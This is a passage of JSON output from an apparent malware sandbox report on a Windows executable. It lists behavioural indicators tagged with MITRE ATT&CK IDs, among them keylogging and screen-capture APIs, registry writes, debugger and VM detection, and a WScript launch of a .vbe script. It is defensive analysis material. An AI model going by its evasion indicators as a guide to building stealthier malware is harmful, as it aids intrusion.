\"00000000-00006020.00000001.82692.001F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$49","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKeyExW\" in file \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\"\n Found registry query API: \"RegQueryValueExW\" in file \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\"\n Found registry query API: \"RegOpenKeyExW\" in \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\"\n Found registry query API: \"RegQueryInfoKeyW\" in \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\"\n Found registry query API: \"RegQueryValueExW\" in \"00000000-00006020.00000000.82307.00168000.00000004.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"MapVirtualKeyExW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" tries to directly access volume data \"C:\"\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" tries to directly access volume data \"Z:\"","origin":"API Call","mitre_attack_id":"T1006","relevance":1,"id":"api-306","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$4a","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"WScript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"serverDriver.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}\n \"WScript.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"000000000010000000000100fffffe7f03000000080000004a020000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"NdrDllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" Win32_OperatingSystem\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" Win32_OperatingSystem\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\"\n Found registry deletion API: \"RegDeleteKeyExW\" in \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"serverDriver.exe\" called an API \"AdjustTokenPrivileges\"on file: C:\\Windows\\System32\\en-US\\KernelBase.dll.mui\" (UID: 00000000-00006020)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$50","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to hook/unhook windows functions (API string)","description":"Found reference to API \"SetWindowsHookExW\" (Indicator: \"SetWindowsHook\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"CallNextHookEx\" (Indicator: \"CallNextHook\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"UnhookWindowsHookEx\" (Indicator: \"UnhookWindowsHook\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"SetWinEventHook\" (Indicator: \"SetWinEventHook\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"UnhookWinEvent\" (Indicator: \"UnhookWinEvent\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-91","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-77","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1098","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"SeCreateSymbolicLinkPrivilege\" (Indicator: \"SeCreateSymbolicLinkPrivilege\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"SeCreateSymbolicLinkPrivilege\" (Indicator: \"SeCreateSymbolicLinkPrivilege\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548","relevance":3,"id":"string-97","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" opened \"\\Device\\KsecDD\"\n \"WScript.exe\" opened \"\\Device\\KsecDD\"\n \"serverDriver.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$53","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"AUTODETECT\"; Value: \"0100000000\")\n \"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")\n \"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"AUTODETECT\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"OpenMutexW\" (Indicator: \"OpenMutex\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$54","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"WScript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")\n \"serverDriver.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Queries kernel debugger information","description":"\"WScript.exe\" at 00000000-00005676-00000105-710940\n \"serverDriver.exe\" at 00000000-00006020-00000105-6866015","origin":"API Call","mitre_attack_id":"T1622","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses a Windows Living Off The Land Binaries (LOL bins)","description":"Process \"%WINDIR%\\System32\\WScript.exe\" launched with commandline \"\"C:\\\\msComwin\\\\cZA5KaguC4o8PZDkwLzCSV.vbe\"\" (UID: 00000000-00005676)","origin":"Monitored Target","relevance":3,"id":"target-411","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Tries to detect debugger using ProcessDebugPort","description":"\"serverDriver.exe queries ProcessDebugPort (UID: 6020)","origin":"API Call","mitre_attack_id":"T1622","relevance":5,"id":"api-238","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleW@KERNEL32.dll at 2753-1556-0041E5EE","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 2753-1007-0042A529","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"\"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" win32_operatingsystem\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \" win32_operatingsystem\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"12/26 Antivirus vendors marked sample as malicious (46% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" reads file \"C:\\Windows\\win.ini\"\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"WScript.exe\" reads file 